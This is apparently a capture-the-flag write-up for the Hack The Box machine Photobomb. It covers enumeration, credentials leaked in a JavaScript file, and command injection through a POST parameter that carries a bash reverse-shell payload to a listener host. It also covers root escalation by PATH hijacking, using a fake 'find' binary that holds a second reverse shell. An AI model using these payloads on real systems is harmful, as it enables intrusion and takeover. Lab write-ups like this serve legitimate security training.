Photobomb

We are going to exploit Photobomb on Hackthebox. After we inspected the Application we will find out that the Credentials for the enpoint /printer are leaked in a java script file. To get a foothold we will exploit a command injection vulnerability in the image processor and escalate to root using sudo.

Enumeration

Rustscan

We will start by doing a quick scan using Rustscan and identify that Port 22 and 80 are open.

Port
Service

22

OpenSSH 8.2p1 Ubuntu

80

nginx 1.18.0 (Ubuntu)

sudo rustscan -t 1500 -b 1500 --ulimit 65000 -a 10.129.224.239 -- -sV -sC -oA ./{{ip}}

.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy           :
: https://github.com/RustScan/RustScan :
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Nmap? More like slowmap.🐢

Open 10.129.224.239:22
Open 10.129.224.239:80

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Feroxbuster

Let's see if we can find any interesting files using feroxbuster

feroxbuster -u http://photobomb.htb/ -t 20 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt --no-recursion -k -B -x "zip,rar,txt,html,php,js,7z" -v -e -o ./ferox.txt

200      GET        7l       27w      339c http://photobomb.htb/photobomb.js
401      GET        7l       12w      188c http://photobomb.htb/printer
200      GET       22l       95w      843c http://photobomb.htb/

Website and Files

When we visit the site http://photobomb.htb we are greeted with a message that we have to click to get started. The credentials are in our welcome pack according to the site. Since we haven't received a "welcome pack" and get asked for a username and password on http://photobomb.htb/printer we inspect the application more and check photobomb.js

photobomb.js

Great we found credentials to visit the restricted section. There are two ways we can use that info

  1. Set a cookie document.cookie="isPhotoBombTechSupport=1"

  2. Use pH0t0:b0Mb! as credentials

function init() {
  // Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
  if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
    document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
  }
}
window.onload = init;

/printer

On visiting http://photobomb.htb/printer there's not much to discover except some images that we can select, setting the file type, a resolution and a buttong to download photo to print. That's exactly what happens when we select an image and hit Download photo to print, after some time we are able to download a file.

Exploitation

Shell

Burp will help us to enumerate that behavior and request we are sending to the application further. We will discover that the Application takes three parameters and we're sending a POST request to the image processor backend.

POST Request

That's how the POST Request looks like when we just hit Download photo to print.

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=finn-whelen-DTfhsDIWNSg-unsplash.jpg&filetype=png&dimensions=600x400

Command Injection

After playing around we discover that the filetype paramter seems to behave akward when we add ;id for example. Instead of generating an Image we get the message Failed to generate a copy of finn-whelen-DTfhsDIWNSg-unsplash.jpg Let's get a shell by executing a payload and don't forget to URL encode it.

POST /printer HTTP/1.1
Host: photobomb.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 222
Origin: http://photobomb.htb
Authorization: Basic cEgwdDA6YjBNYiE=
Connection: close
Referer: http://photobomb.htb/printer
Upgrade-Insecure-Requests: 1

photo=finn-whelen-DTfhsDIWNSg-unsplash.jpg&dimensions=600x400&filetype=png;bash -c 'bash -i >& /dev/tcp/10.10.10.1/80 0>&1'

Escalation

Local Enumeration

During enumeration there was a possible privilege escalation vector discovered. We are able to run /opt/cleanup.sh as root and have privileges to set an enviroment variable.

Sudo Privileges

(remote) wizard@photobomb:/home/wizard$ sudo -l
Matching Defaults entries for wizard on photobomb:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wizard may run the following commands on photobomb:
    (root) SETENV: NOPASSWD: /opt/cleanup.sh

cleanup.sh

#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb

# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
  /bin/cat log/photobomb.log > log/photobomb.log.old
  /usr/bin/truncate -s0 log/photobomb.log
fi

# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;

Privilege Escalation

Checking /opt/cleanup.sh reveals that find is called without an absolute path to the binary and relies on the PATH environment variable. Let's create a new folder called bin in our home directory, a binary called find in our new folder containing a reverse shell payload

find

bash -c 'bash -i >& /dev/tcp/10.10.10.1/81 0>&1

Make it executable and start cleanup.sh

sudo PATH=/home/wizard/bin:$PATH /opt/cleanup.sh

We will now receive a connection back on our listener and have a ROOT Shell

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